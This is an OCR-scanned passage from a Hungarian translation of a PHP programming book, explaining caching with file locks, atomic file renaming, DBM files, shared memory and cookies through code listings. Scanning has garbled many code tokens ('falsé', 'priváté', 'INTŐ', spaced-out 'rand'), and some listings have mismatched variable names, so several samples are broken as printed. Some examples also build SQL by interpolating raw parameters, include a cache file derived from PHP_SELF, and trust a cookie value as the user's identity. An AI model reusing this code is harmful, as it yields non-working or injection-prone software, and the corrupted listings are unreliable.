Today is <?= strftime("%A, %B %e %Y") ?>
</BODY>
</HTML>
<?
if( $cachefp) {
$file = ob_get_contents();
fwrite($cachefp, $file);
fclose($cachefp);
flock($lockfp, LOCK_SH | LOCK_NB);
ob_end_flush();
}
fclose($lockfp);
?>
268 PHP fejlesztés felsőfokon

Elsőre kissé zavaros lehet a kép, így hát nézzük meg lépésenként, mi is történik itt.

Először megnyitjuk a gyorstárfájlt hozzáfűzési módban (a, append), és alkalmazunk rá egy


nem blokkoló osztott zárat. A nem blokkoló (LOCK_NB) azt jelenti, hogy a vezérlés azon-
nal visszakerül az eredeti programhoz, ha a zárolás nem lehetséges. Ha ezt a beállítást nem
adjuk meg, a program addig vár ezen a ponton, míg a zárolás lehetséges nem lesz. Az osz-
tott zár (LOCK_SH) azt jelenti, hogy a zárat meg szeretnénk osztani más folyamatokkal, me-
lyek szintén a LOCK_SH beállítást használják. A kizárólagos zár (LOCK_EX) ellenben lehe-
tetlenné teszi, hogy más zárat - legyen az osztott vagy kizárólagos - alkalmazzanak a fájlra
vele egyidejűleg. A kizárólagos zárakat írásnál kell alkalmaznunk (hacsak jelentős óvintéz-
kedéseket nem teszünk), hiszen veszélyes helyzeteket teremthet, ha több folyamat egy-
szerre írhat egy fájlba, illetve ha írás közben egy másik folyamat olvashat.

Amennyiben a gyorstárfájl hossza nem nulla, és a zárolás sikeres, meghívhatjuk a readf ile
függvényt, mellyel kiolvashatjuk a fájl tartalmát. De alkalmazhatjuk az include () -ot is,
mellyel bármilyen, a fájlban levő literális PHP kódot végrehajthatunk. (A readf ile ezt csak
a kimeneti tárba írja.) Elképzelhető persze, hogy a közvetlen futtatás nem megfelelő mód-
szer. Itt a biztonsági játék mellett döntünk, és a readf il e-t használjuk.

Amennyiben az előző feltétel nem teljesül, kizárólagos zárat alkalmazunk a fájlra. Ha már
ide kerültünk, alkalmazhatunk nem blokkoló zárolást. Ha végre sikerrel jártunk, megnyit-
hatjuk a fájlt írásra és kezdhetjük a kimenettárolást.

Miután elkészültünk a kérelemmel, a kimenettárat a gyorstárfájlba írhatjuk. Ha sem az


osztott olvasással, sem a kizárólagos írással nem jártunk sikerrel, egyszerűen készítsük el
az oldalt és lépjünk ki.

A javasolt fájlzárak nagyszerűen működnek, de bizonyos esetekben használatuk ellen szól


néhány érv:

• Amennyiben fájljaink egy hálózati fájlrendszerben (Unix NFS) helyezkednek el, az


f lock működése egyáltalán nem garantálható.
• Egyes operációs rendszerek (köztük például a Windows) az f lock () -ot a folya-
matok szintjén valósítják meg, így előfordulhat, hogy a többszálas alkalmazásokban
a zárolás nem működik megfelelően a szálak között. (Ez a gond leginkább a Micro-
soft IIS webkiszolgálójának PHP SAPI-jával - ISAPI Server Abstraction API - kap-
csolatban jelentkezik.)
• Ha nem blokkoló zárat alkalmazunk, minden, a gyorstár írása közben érkező kére-
lem az oldal teljes dinamikus előállítását vonja maga után. Ha ez az előállítás költ-
séges, az erőforrások kihasználásában a gyorstár minden frissítésénél egy „tüskét"
kapunk. Amennyiben blokkoló zárolást alkalmazunk, csökkenthetjük a rendszer
terhelését a frissítés alatt, de ilyenkor egy oldal előállítása alatt a többi oldal műve-
letei szünetelnek.
10. fejezet • Adatösszetevők átmeneti tárolása 269

• Ha közvetlenül a gyorstárfájlokba írunk, és egy váratlan esemény következik be


(például az írást lebonyolító folyamat összeomlik, vagy kifut az időből), a fájl tartal-
ma részlegessé válik. Sajnálatos módon a rendszer ezeket a részleges fájlokat is
nyugodt lélekkel szolgáltatja (az olvasó folyamat nem tudhatja, hogy a feloldott zá-
rolású fájl teljes-e), így a kapott oldal hibás lesz.
• Elméletben egy javasolt zár feloldja a zárolást, ha az őt alkalmazó folyamat kilép.
Nem egy operációs rendszer tartalmaz azonban olyan hibákat, melyek bizonyos,
ritkán előálló helyzetekben meggátolják a zárak feloldását a folyamat elhalásakor.
Számos PHP SÁPI (köztük a mod_php - vagyis a PHP futtatására szolgáló szabvá-
nyos modul az Apache kiszolgálón) nem egykérelmes alapon működik. Ez azt je-
lenti, hogy ha egy kérelem lezárulásakor érvényben van egy zárolás, az mindaddig
meg is marad, míg a programot futtató folyamat véget nem ér - vagyis órákig, vagy
akár napokig. Mindez holtpontot eredményezhet. Személyesen még nem találkoz-
tam ilyen hibákkal, de nem lehet mindenkinek ekkora szerencséje.

A fájlváltók egy korábban említett apróságot használnak ki működésükhöz. Ha az unlink ()


függvényt alkalmazzuk egy fájlon, valójában a fájlnév-leíró csomópont megfeleltetést szün-
tetjük meg. A fájlnév tehát ezentúl nem létezik, de a hozzá kapcsolt tárterület érintetlen
marad (egy ideig), és az ehhez tartozó leíró csomópont sem változik. A rendszer egészen
addig nem osztja ki újra ezt a területet, míg minden, a leíróhoz kapcsolódó megnyitott fájlle-
írót (handlé) be nem zárunk. Ez azt is jelenti, hogy az unlink () alkalmazása alatt a fájlból
olvasó folyamatok nem szakadnak meg - egyszerűen folytatják az eredeti fájl adatainak
kiolvasását. Ha az utolsó olyan folyamat is lezárul, amely megnyitott leírót tart ezen a leíró
csomóponton, a rendszer a hozzá tartozó tárterületet felszabadítja, lehetővé téve, hogy újra
felhasználják.

A fájl eltávolítása után megnyithatunk egy új fájlt ugyanazzal a névvel. A nevek egyezése
ellenére az operációs rendszer ezt a fájlt nem a régi leíró csomóponthoz kapcsolja, hanem
új tárterületet foglal a számára. Vagyis minden rendelkezésre áll ahhoz, hogy könnyedén
megőrizzük az adatok épségét.

A zárolási példát a fájlváltás módszerére átírni nem nehéz feladat:

<?php
$cachefile = "{$_SERVER['PHP_SELF']}.cache" ;
if(file_exists($cachefile)) {
include($cachefile) ;
return;
}
else {
$cachefile_tmp = $cachefile.".".getmypid() ;
$cachefp = fopen($cachefile_tmp, "w");
ob_start() ;
}
270 PHP fejlesztés felsőfokon

?>
<HTML>
<BODY>
<!-- Cacheable for a day -->
Today is <?= strftime("%A, %B %e %Y") ? >
</BODY>
</HTML>
<?php
if( $cachefp) {
$file = ob_get_contents();
fwrite($cachefp, $file);
fclose($cachefp);
rename($cachefile_tmp, $cachefile);
ob_end_flush();
}
?>

Mivel soha nem írunk közvetlenül a gyorstárfájlba, tudhatjuk, hogy amennyiben létezik, tel-
jes, így feltétel nélkül beágyazhatjuk. Ha a fájl nem létezik, magunknak kell elkészítenünk.
Megnyitunk hát egy ideiglenes fájlt, melynek nevéhez hozzáfűzzük a folyamat azonosítóját:

$cachefile_tmp = $cachefile.".".getmypid();

Adott időpontban csak egyetlen folyamat rendelkezhet a kérdéses azonosítóval, ami biz-
tosítja a fájlnév egyediségét. (Ha mindezt az NFS-ben vagy más hálózati fájlrendszerben
tesszük, szükség van további lépésekre - erről a fejezet későbbi részében szólunk.) Meg-
nyitjuk saját ideiglenes fájlunkat, és bekapcsoljuk a kimenettárolást. Elkészítjük a teljes ol-
dalt, kiírjuk a kimenettár tartalmát az ideiglenes gyorstárfájlba, és átnevezzük ezt az „igazi"
gyorstárfájllá. Ha mindezt párhuzamosan több folyamat is megkísérli megtenni, az utolsó
nyer - ami ez esetben nem okoz gondokat.

Fontos, hogy az ideiglenes és a végső gyorstárfájl azonos fájlrendszerben legyen. Ilyenkor


ugyanis a rename () függvény gyakorlatilag azonnal képes elvégezni a tartalom áthelye-
zését. Mindennek az a magyarázata, hogy nem történik másolás - a célfájl könyvtári be-
jegyzésébe egyszerűen bekerül a forrásfájl leíró csomópontja. Végeredményképpen tehát
a rename () ilyenkor egy egyszerű magművelet. Ha azonban a rename () függvényt kü-
lönböző fájlrendszerek között használjuk, a rendszernek fizikailag át kell másolnia a fájlt
az egyikből a másikba. Azt pedig láthattuk a korábbiakban, hogy a gyorstárfájlok másolá-
sa nem veszélytelen dolog.

A fent bemutatott módszer több szempontból is előnyös:

• A szükséges kód rövidebb, és kevesebb rendszerhívást igényel (következésképpen


gyorsabb).
10. fejezet • Adatösszetevők átmeneti tárolása 271

• Mivel közvetlenül soha nem módosítjuk a valódi gyorstárfájlt, lehetetlenné válik,


hogy részleges vagy hibás állományt hozzunk létre.
• Működik hálózati fájlrendszereken (némi trükközéssel).

A módszer legnagyobb hátulütője, hogy az erőforrások felhasználásában továbbra is csú-


csokat kapunk a gyorstárfájl újraírásánál. (Ha ez a fájl hiányzik, mindenki, aki hozzá akar
férni, dinamikusan készíti el a tárolandó tartalmat egészen addig, míg valaki létre nem
hoz egy friss tárolt változatot.) Mindazonáltal ügyes fogásokkal ez a probléma is kiküszö-
bölhető, amint a fejezet későbbi részében láthatjuk majd.

DBM alapú gyorstárak


A fejlesztők gyakran elfeledkeznek a DBM fájlokról, mint az adattárolás egyik lehetőségé-
ről. E fájlformátum - melyet gyakran lenézően csak a „szegény ember adatbázisának"
neveznek - hihetetlenül gyors elérést nyújt, lehetővé téve a nagysebességű egyidejű
írási—olvasási műveleteket. A gyorstárak megvalósításában a DBM fájlok annyiban jobbak
a szerkezet nélküli fájloknál, hogy eleve több adatforrás tartalmának tárolására tervezték
őket (míg a szerkezet nélküli fájlokat leginkább egyetlen adathalmaz tárolására), ráadá-
sul eleve alkalmasak az egyidejű elérés támogatására (egyébként ezt magunknak kell
megvalósítanunk).

A DBM fájlok használata akkor jó megoldás, ha adatainkat kulcs-érték párok alakjában


kell tárolnunk (például egy adatbázis-lekérdezés eredményét). Más, a fejezetben bemuta-
tott módszerekkel szemben itt ehhez nincs szükség különösebb erőfeszítésre.

A PHP dba bővítménye általános felületet ad számos DBM könyvtárhoz, köztük az


alábbiakhoz:

• dbm - Az eredeti Berkeley DB fájlillesztő.


• ndbm - A dbm egykor nagyszerű, mára elfeledett alternatívája.
• gdbm - A dbm GNU-változata.
• Sleepycat DB 2-4 változat - Nem tévesztendő össze az IBM DB2-vel - a dbm egy
fejlettebb változata a Berkeley programozóitól.
• cdb - Rögzített (nem frissíthető) adatbáziskönyvtár a Qmail-ről híres djb-től.

A felhasználói szerződésekről

Az eltérő lehetőségek mellett a könyvtárak más és más felhasználási szerződéssel is ren-


delkeznek. Az eredeti dbm, valamint az ndbm BSD alatt terjeszthető, a gdbm természetesen
a GNU nyilvános felhasználási szerződés (GPL) alá tartozik, míg a Sleepycat könyvtárak
terjesztését egy még szigorúbb GPL-szerű felhasználási szerződés korlátozza.
272 PHP fejlesztés felsőfokon

A szerződések különbségei nem igazán izgalmasak azok számára, akik csak szabadidejü-
ket töltik a fejlesztéssel, a kereskedelmi forgalomra szánt alkalmazásoknál azonban az
utolsó apró részletig meg kell értenünk a korlátozásokat. így például ha hivatkozunk egy
könyvtárra, ami a GPL alá tartozik, lehetővé kell tennünk, hogy alkalmazásunk forráskód-
ja minden vásárlónk számára elérhetővé váljon. A Sleepycat DB4 dbm-je esetében pedig
külön felhasználási engedélyt kell vennünk kereskedelmi alkalmazás készítése esetén.

Próbáljuk ki, miként használhatunk egy DBM fájlt gyorstár megvalósítására. Tegyük fel,
hogy egy nyilvántartási felületet készítünk reklámajánlatok számára. Minden ajánlat egye-
di azonosítóval rendelkezik, és elkészítettük az alábbi függvényt:

int showConversions(int promotionlD)

A függvény megszámolja, hány különböző felhasználó iratkozott fel egy adott ajánlathoz.
A függvény kódja a következő:

function showConversion($promotionID) {
$db = new DB_MySQL_Test ;
$row = $db->execute("SELECT count(distinct(userid)) cnt
FROM promotions
WHERE promotionid = $promotionid")->fetch_assoc() ;
return $row['cnt'];
}

Nos, ez a lekérdezés nem nevezhető szélsebesnek, különösen, ha a piackutatók folyama-


tosan újratöltik - érdemes tehát gyorstárat alkalmaznunk.

Ezt közvetlenül a függvényben is megtehetjük, mindössze meg kell nyitnunk egy DBM
fájlt, és amennyiben lehetőség van rá, inkább onnan kiolvasni az eredményt:

function showConversion($promotionID) {
$gdbm = dba__popen ("promotionCounter . dbm" , " c " , "gdbm");
i f ( ( $ c o u n t = dba_fetch($promotionid, $gdbm)) !== falsé) {
return $count;
}
$db = new DB_MySQL_Test;
$row = $db->execute("SELECT count(distinct(userid)) cnt
FROM promotions
WHERE promotionid = $promotionid");
dba_replace($promotion, $ r o w [ 0 ] , $gdbm);
return $row['cnt'];
}
10. fejezet • Adatösszetevők átmeneti tárolása 273

A gyorstárak egyidejű elérése és összhangja


A DBM fájlok nagyszerű tulajdonsága, hogy eleve támogatják az egyidejű elérést. A zárolás
pontos módja az éppen használatos háttérprogram belügye (vagy legalábbis nem válik lát-
hatóvá a PHP felhasználók felé), de a biztonságos egyidejű elérés mindenképpen biztosított.

A tartalom érvénytelenítése és a gyorstárak karbantartása


A figyelmes olvasók bizonyára felfigyeltek arra, hogy egy súlyos hiba van a DBM alapú
gyorstárak használatának módszerében. Nincs ugyanis eljárásunk, amely érvénytelenítené
a tartalmat - a tárolt számok frissítése soha nem történik meg. Nos, ez persze felgyorsítja
az eredmények visszaadását, de egyúttal használhatatlanná is teszi őket. Egy jó gyorstár
jelenléte gyakorlatilag észrevehetetlen - vagy legalábbis nem feltűnő.

A szerkezet nélküli fájlokkal megvalósított gyorstáraktól eltérően itt nem a fájlok frissítésé-
nek mikéntjében rejlik a nehézség, hiszen a dba_replace és a dba_insert függvények
elvégzik helyettünk ezt a munkát. A gond ott van, hogy tudnunk kell arról, mikor kell
egyáltalán frissítenünk. A DBM fájlok ugyanis nem tartalmazzák az egyes sorok módosítá-
sainak idejét, így egy adatról nem tudhatjuk, hogy egy másodperce vagy egy hete került
a gyorstárba.

Talán a legagyafúrtabb megoldás, mellyel e helyzet kezelése lehetséges, a valószínűségi


megközelítés. Egyszerűen meg kell figyelnünk, milyen gyakorisággal kérik az adott ada-
tot, és meg kell állapítanunk, átlagosan hány kérelem után kell érvényteleníteni. Ha pél-
dául másodpercenként 10 kérelmet kapunk az adatot megjelenítő oldalra, és az adatokat
5 percig szeretnénk tárolni, a frissítéshez szükséges kérelmek számát az alábbi képlet sze-
rint kaphatjuk meg:

5 perc x (60 másodperc/perc) x (10 kérelem/másodperc) = 3000 kérelem

Egy globális elérésszámláló megosztása a folyamatok között meglehetősen kényelmetlen


feladat, hiszen ehhez a DBM fájl minden sorához tárolni kellene az elérési időket. Ez nem-
csak bonyolult, de lassú módszer is, hiszen így az időpontok tárolásához minden olvasás-
nál egyúttal írnunk is kellene a fájlba. Az ötletes megoldást a valószínűségi megközelítés
adja. Nem kell ragaszkodnunk ugyanis ahhoz, hogy pontosan 3000 elérésenként frissítsük
a tárat, inkább 1/3000 valószínűsséggel frissítjük minden kérelemnél. így végül hosszú idő
alatt átlagban közelítünk a 3000 kérelmenkénti frissítéshez.

Lássuk most a showConversion () függvény új változatát, melyben a véletlenszerű frissí-


tést alkalmazzuk:

function showConversion($promotionID) {
$gdbm = dba_popen("promotionCounter.dbm", " c " , "gdbm");
// ha bejött az 1 a 3000-ből, nem keressük a kulcsot,
// hanem egyszerűen újra beillesztjük
274 PHP fejlesztés felsőfokon

if ( r a n d ( 3 0 0 0 ) > 1) {
if($count = dba_fetch($promotionid, $gdbm)) {
return $count;
}
}
$db = new DB_MySQL_Test;
$row = $db->execute("SELECT count(distinct(userid)) cnt
FROM promotions
WHERE promotioníd = $promotionid")->fetch_assoc();
dba_replace($promotion, $ r o w [ 0 ] , $gdbm);
return $row[cnt];
}

E módszer szépsége az egyszerűségében rejlik. Végeredményben csak azokat az adatokat


tároljuk, amelyek érdekelnek, a többit pedig a matematikára hagyjuk. A módszer hátulütője,
hogy alkalmazásához valóban ismernünk kell az elérési gyakoriságot, hiszen egyébként elő-
fordulhat, hogy az értékek a kelleténél hosszabb ideig maradnak a gyorstárban. Ez különö-
sen igaz akkor, ha a forgalomban átmeneti kihagyások tapasztalhatók, melyek aláássák
a matematikai modellt. Mindazonáltal ez semmit sem von le a módszer érdekességéből, és
az továbbra is alkalmazható marad olyan esetekben, ahol az elérések gyakorisága elegendő-
en stabil, illetve ahol determinisztikus folyamatokat szeretnénk hatékonyabbá tenni.

A gyorstár adatai elavulásának követéséhez készíthetünk egy olyan osztályt, amely kezeli
a hívásait, ugyanakkor rögzíti a bejegyzések módosításának idejét, és törődik az adatok
elavulásával:

<?php
class Cache_DBM {
priváté $dbm;
priváté $expiration;
function___ construct($filename, $expiration=3600) {
$this->dbm = dba_popen($filename, "c", "ndbm");
$this->expiration = $expiration;
}
function put($name, $tostore) {
$storageobj = array('object' => $tostore, 'time' => time());
dba_replace($name, serialize($storageobj), $this->dbm);
}
function get($name) {
$getobj = unserialize(dba_fetch($name, $this->dbm));
if(time() - $getobj[time] < $this->expiration) {
return $getobj[object];
}
else {
10. fejezet • Adatösszetevők átmeneti tárolása 275

dba_delete($name, $this->dbm);
return falsé;
}
}
function delete($name) {
return dba_delete($name, $this->dbm);
}
}
?>

Ezek után ezzel az osztállyal hozhatjuk létre új gyorstárobjektumainkat:

<?php
require_once 'Cache/DBM.inc';
$cache = new Cache_DBM("/path/to/cachedb");
?>

Ez az objektum meghívja a dba_popen függvényt a gyorstár DBM fájljának megnyitásá-


hoz (melyet, amennyiben nem létezik, egyúttal létre is hoz). Az objektum a lejárat idejét
3600 másodpercben (vagyis 1 órában) állapítja meg. Ha más időtartamra lenne szüksé-
günk, mondjuk 1 napra, ezt is megadhatjuk:

$cache = Cache_DBM("/path/to/cachedb", 86400);

A tárolás és a keresés egy kulcsnév alapján történik, melyet nekünk kell megadnunk. így
például a Foo objektum tárolásához és új példányának létrehozásához az alábbiakat kell
tennünk:

$foo = new Foo();


// tárolás
$cache->put('foo', $foo) ;

A könyvtárban ez egy tömböt hoz létre, amely tartalmazza a $f oo értékét, valamint az ak-
tuális időt, végül pedig becsomagolja („sorosítja") az eredményt. Az eredmény bekerül
a gyorstár DBM fájljába, és a foo kulcs azonosítja. A sorosításra azért van szükség, mert
a DBM fájlok csak karakterláncokat képesek tárolni. (Valójában bármilyen, bináris adato-
kat tartalmazó sorozat tárolására képes, de ezekre a PHP mind karakterláncként tekint.)
Ha van már valamilyen adat a foo kulcs alatt, a rendszer kicseréli az újra. Egyes DBM il-
lesztők (például a DB4) támogatják, hogy adott kulcshoz több érték is tartozzon, a PHP
azonban e tekintetben még nem érte utol őket.
276 PHP fejlesztés felsőfokon

A korábban tárolt értékek kiolvasására a get () tagfüggvény ad lehetőséget, mellyel meg-


kaphatjuk a kulcshoz tartozó adatot:

$obj = $cache->get('foo');

A get belső szerkezete némiképp összetett. Ahhoz, hogy visszakapja a tárolt objektumot,
előbb meg kell keresnie a kulcs alapján. Ezután visszaírja a tárolójába, és összehasonlítja
a beillesztés idejét a konstruktorban meghatározott lejárati idővel. Amennyiben a tartalom
még nem elavult, eljut a felhasználóhoz, egyébként pedig a program törli a gyorstárból.

Ha ezt az osztályt valós életbéli feladatokra használjuk, először egy get () hívással meg-
nézzük, van-e érvényes másolat az adatból a gyorstárban - amennyiben nincs, egy put ()
hívással feltöltjük friss adatokkal.

<?php
class Foo {
public function i d ( ) {
return "I ara a Foo";
}
}

reguire_once 'Cache/DBM.inc';
$dbm = new Cache_DBM("/data/cachefiles/generic");
if($obj = $dbm->get("foo")) {
// Találat, a $obj értékét kerestük
print $obj->id();
}
else {
// Nincs találat, készítünk egy új $obj objektumot, és elhelyezzük
// a gyorstárban
$obj = new Foo() ;
$dbm->put("foo" , $obj) ;
print $obj->id();
}
// ... használjuk a $obj értékét tetszés szerint
?>

Érdemes néhány dolgot megjegyeznünk a burkoló osztályról:

• Képes bármilyen adatszerkezetet (objektumot, tömböt, karakterláncot, más egye-


bet) automatikusan kezelni. Ez alól csak az erőforrások jelentenek kivételt, de ezek
amúgy sem oszthatók meg hatékonyan a folyamatok között.
• Az objektumok újratárolásához bármikor meghívhatjuk a put () függvényt. Ez hasz-
nos olyankor, ha tudjuk, hogy egy műveletünk elavulttá teszi a gyorstár tartalmát.
10. fejezet • Adatösszetevők átmeneti tárolása 277

• A kulcsok neveinek meghatározása nem automatikus, így nekünk kell tudnunk, hogy
a f oo kulcs a Foo objektumra utal. Ez jól működik egyelemű adatszerkezeteknél, de
bármilyen összetettebb esetben szükség van valamilyen elnevezési szabályra.

A cdb kivételével minden DBM-megvalósítás dinamikusan terjeszti ki háttértárát az új


adatok kezelésére. Ez azt jelenti, hogy ha magára hagyják, egy DBM gyorstár egész addig
működik, míg az őt tartalmazó fájlrendszer rendelkezik szabad területtel. A DBM könyvtár
nem követi az elérések jellemzőit, így ha nem burkoljuk be a könyvtárat egy osztállyal,
ami biztosítja ezt, nem tudjuk „intelligensen" kezelni a gyorstárat.

A DBM fájlok figyelemreméltó tulajdonsága, hogy méretük soha nem csökken. A rendszer
újra és újra felhasználja a fájlon belüli területet, a fájlméret maga azonban csak nőhet - so-
ha nem csökken. Ha tehát komolyan igénybe vesszük a gyorstárat (gyakoriak a beilleszté-
sek, és az adatok sokszor cserélődnek), valamilyen formában szükség van rendszeres kar-
bantartására. A fájl alapú gyorstárakhoz hasonlóan a költségek csökkentéséhez szükség
lehet a DBM fájlok törlésére és újbóli létrehozására.

Ha nem kívánunk túlzottan drasztikus módszereket alkalmazni, elhelyezhetünk egy sze-


métgyűjtő függvényt a Cache_DBM osztályban:

function garbageCollection() {
$cursor = dba_firstkey($this->dbm);
while(Scursor) {
$keys[] = $cursor;
$cursor = dba_nextkey($this->dbm);
}
foreach( $keys as $key ) {
$this->get($key);
}
}

Egy sormutató (kurzor) segítségével haladunk végig a gyorstár kulcsain, tároljuk azokat,
majd sorban meghívjuk rájuk a get () függvényt. Amint a korábbiakban már említettük,
a get () eltávolítja az elavult bejegyzéseket, a frissek esetén pedig egyszerűen figyelmen
kívül hagyhatjuk a visszatérési értéket. Ez a módszer kissé hosszabbnak tűnik a szüksé-
gesnél - ha a get () függvényt az első while ciklusba helyeznénk, a kód olvashatóbbá
válna, és egy teljes ciklust nyernénk.

Sajnálatos módon a DBM legtöbb megvalósítása nem képes helyesen kezelni a kulcsok
eltávolítását, miközben a program végighalad rajtuk. Ezért van hát szükség erre a kétlépé-
ses eljárásra, amely biztosítja, hogy valóban sorra vegyünk minden kulcsot.
278 PHP fejlesztés felsőfokon

Az ehhez hasonló szemétgyűjtés költséges dolog, így hát nem érdemes a kelleténél több-
ször elvégeznünk. Láttam olyan programokat, ahol a szemétgyűjtési eljárást minden oldal-
kérelem után meghívták, hogy biztosítsák a gyorstár kis méretét. Ez a módszer súlyos
adattorlódásokat okozhat a rendszerben. Sokkal jobb megoldás, ha a szemétgyűjtést
a cron ütemezett feladatai közé vesszük fel, így nem sok vizet zavar.

Gyorstár a megosztott memóriában


A memóriaterület folyamatok közti megosztása a Unixban a BSD vagy a System V mód-
szere szerint valósulhat meg. Az előbbi az mmap () rendszerhívás segítségével lehetővé te-
szi, hogy különböző folyamatok ugyanazt a memóriaszegmenst leképezhessék saját cím-
területükre. A PHP szemafor és shmop bővítménye két másik felületet adnak a System V
osztott memóriája, valamint a szemaforok kezeléséhez.

A System V megvalósítás a folyamatok közti adatcsere (IPC, interprocess communication)


minden lehetőségét rendelkezésünkre bocsátja - használhatunk osztott memóriaszegmen-
seket, szemaforokat és üzenetsorokat. Közülük a gyorstárak esetében az első kettőre van
szükségünk. Az osztott memória a tárolást, a szemaforok pedig a zárolási műveleteket te-
szik lehetővé.

A gyorstár méretének kézben tartása különösen fontos osztott memória használatánál.


A szerkezet nélküli, illetve DBM fájl alapú gyorstárakkal ellentétben az osztott memória-
szegmensek méretét nem növelhetjük dinamikusan. Mindez azt jelenti, hogy különösen
oda kell figyelnünk arra, nehogy túllépjük a tárterület lehetőségeit. A C nyelvű alkalmazá-
sokban jó módszer, ha az osztott memóriában tároljuk az elérési adatokat, és ezek alapján
végezzük el a gyorstárban a szükséges műveleteket.

Ugyanezt megtehetjük a PHP-ben is, de itt ez egy kevésbé alkalmas megoldás. A gondot
az osztott memóriakezelő függvények „szűk látóköre" (vagy „finom szemcsézettsége", ha
úgy tetszik) okozza. Az shm_get_var és az shm_put_var segítségével (melyeket
a sysvshm bővítményben találhatunk meg) könnyen tárolhatunk és olvashatunk ki válto-
zókat. Mindazonáltal nem létezik olyan függvény, mellyel megkaphatnánk a szegmens-
ben jelen levő elemek listáját, ami gyakorlatilag lehetetlenné teszi, hogy egyszerűen vé-
gighaladjunk a gyorstáron. Emellett, ha az elérések jellemzőit is tárolni szeretnénk vala-
hogy, ezt is csak az elemeken belül tehetjük meg - ami csaknem kizárja az „okos" gyors-
tárkezelés lehetőségét.

Ha az shmop függvényeket alkalmazzuk (az shmop bővítményből), egy alacsonyabb szin-


tű felületet kapunk, ami lehetővé teszi az osztott memóriaszegmensek olvasását, írását,
megnyitását és bezárását - éppúgy, mintha fájlok lennének. Ez nagyszerűen működik az
olyan gyorstáraknál, amelyek egyetlen elemet tárolnak szegmensenként (hasonlóan
a szerkezet nélküli fájlok esetéhez), de nem sokat segít, ha több elemet kívánunk elhe-
10. fejezet • Adatösszetevők átmeneti tárolása 279

lyezni egy szegmensen belül. Mivel a PHP a memóriakezelés feladatát átveszi a felhaszná-
lóktól, meglehetősen nehéz saját adatszerkezeteket megvalósítanunk az shmop_open ()
által visszaadott memóriaszegmenseken.

A System V IPC további hiányossága, hogy az osztott memória nem rendelkezik hivatko-
zásszámlálással. Ha használatba veszünk egy osztott memóriaszegmenst, és anélkül lépünk
ki, hogy felszabadítanánk, ezt az erőforrást örök időkre lefoglaltuk. A System V erőforrásai
egy közös tárolóból kerülnek ki, így még a ritka alkalmanként elvesztett szegmensek is ko-
moly gondokat okozhatnak. Mindemellett, még ha a PHP meg is valósította volna a hivat-
kozásszámlálást (mint ahogy nem tette), mindez továbbra is gondokat okozna, ha a PHP,
illetve a hozzá tartozó kiszolgáló váratlanul összeomlana. Egy tökéletes világban persze
ilyesmi nem fordulhat elő, de az alkalmankénti szegmentációs hibák nem ismeretlenek
a nagy terhelés alatt működő webkiszolgálókon. Mindebből tanulságként annyit szűrhe-
tünk le, hogy a System V osztott memóriájára nem érdemes gyorstárat építenünk.

Süti alapú gyorstárak


A hagyományos kiszolgáló oldali tárolás mellett az alkalmazás adatai tárolhatók az ügyfél
oldalán is, ha sütiket (cookie) használunk ennek megvalósítására. Ez a módszer akkor le-
het hatékony, ha felhasználónként viszonylag kevés adatot kell elhelyeznünk a gyorstár-
ban. Ha sok felhasználóval dolgozunk, még ez a kis mennyiség is jelentős adattömeggé
állhat össze a kiszolgálónál.

Gyakran használják a sütiket arra, hogy nyomon kövessék a felhasználók kilétét, és ennek
alapján jussanak hozzá az egyéni adatokhoz az egyes oldalakon. Megtehetjük azonban azt
is, hogy a sütikben ez utóbbi adatokat is átadjuk.

Vegyünk például egy hírportált, melynek böngészősávján három testreszabható rész talál-
ható. Ezek tartalma az alábbiak közül kerülhet ki:

• Reklámok egy másik webhelyről


• Helyi időjárás
• Sporteredmények
• Hírek hely és kategória szerint

Az alábbi kód segítségével a felhasználó navigációs beállításait a user-navigation táb-


lában tárolhatjuk, és a get-interests, valamint a set-interest tagfüggvényekkel
férhetünk hozzájuk:

<?php
require 'DB.inc';
class User {
public $name;
280 PHP fejlesztés felsőfokon

public $id;
public function___ construct($id) {
$this->id = $id;
$dbh = new DB_Mysql_Test;
$cur = $dbh->prepare("SELECT
name
FROM
users u
WHERE
userid = : 1" ) ;
$row = $cur->execute($id)->fetch_assoc();
$this->name = $row['name'];
}
public function get_interests() {
$dbh = new DB_Mysql_Test();
$cur = $dbh->prepare("SELECT
interest,
position
FROM
user_navigátion
WHERE
userid = : 1") ;
$cur->execute($this->userid);
$rows = $cur->fetchall_assoc() ;
$ret = array () ;
foreach($rows as $row) {
$ret[$row['position']] = $row['interest'] ;
}
return $ret;
}
public function set_interest($interest, $position) {
$dbh = new DB_Mysql_Test;
$stmtcur = $dbh->prepare("REPLACE INTŐ
user_navigátion
SET
interest = :1
position = :2
WHERE
userid = : 3 ") ;
$stmt->execute($interest, $position, $this->userid);
}
}
?>

A user-navigation tábla interest mezője olyan kulcsszavakat tartalmazhat, mint


a sports-football (sport-futball) vagy a news-global (hírek-külföld), amelyek leírják
a felhasználó érdeklődését. Szükségünk van még egy generate_navigation_element ()
függvényre is, amely fogadja a kulcsszavakat, és előállítja a hozzájuk tartozó tartalmat.
10. fejezet • Adatösszetevők átmeneti tárolása 281

így például a news-global kulcsszó megadásakor a függvény a külföldi hírek helyben


tárolt változatát adja vissza. És ami a legfontosabb, az eredményt egy teljes HTML részlet-
ben adja meg, melyet minden további nélkül beilleszthetünk a böngészősávba.

Az így készített eszközökkel a személyre szabott böngészősáv kódja így fest:

<?php
$userid = $_COOKIE['MEMBERID'];
$user = new User($userid);
if(!$user->name) {
header("Location: /login.php");
}
$navigation = $user->get_interests();
?>
<table>
<tr>
<td>
<table>
<trxtd>
<?= $user->name ? > ' s Home
<trxtd>
<!-- 1. hely a böngészősávon -->
<?= generate_navigation_element($navigation[1] ) ?>
</tdx/tr>
<trxtd>
<!-- 2. hely a böngészősávon -->
<?= generate_navigation($navigation[2 ]) ?>
</tdx/tr>
<trxtd>
<!-- 3. hely a böngészősávon -->
<?= generate_navigation($navigation[3]) ?>
</tdx/tr>
</table>
</td>
<td>
<!-- az oldal törzse (minden felhasználónál azonos tartalom) -->
</td>
</tr>
</table>

Amikor egy felhasználó belép az oldalra, a program az azonosítója alapján kikeresi a hoz-
zá tartozó bejegyzést a táblából. Amennyiben a felhasználó még nincs benn az adatbázis-
ban, a program átirányítja a kérelmet a bejelentkezési oldalra a Location: HTTP átirá-
nyító fejléccel. Egyébként kiolvassa a felhasználói beállításokat a get_interests () tag-
függvénnyel, és ezek alapján elkészíti az oldalt.
282 PHP fejlesztés felsőfokon

E kódban elérésenként legalább két adatbázishívásra van szükség. Először is a konstruktor-


ban egy hívással hozzá kell jutni a felhasználó nevéhez az azonosítója alapján, majd egy
adatbázishívással a beállításaihoz. Nem tudjuk, mi folyik a generate_navigation_ele-
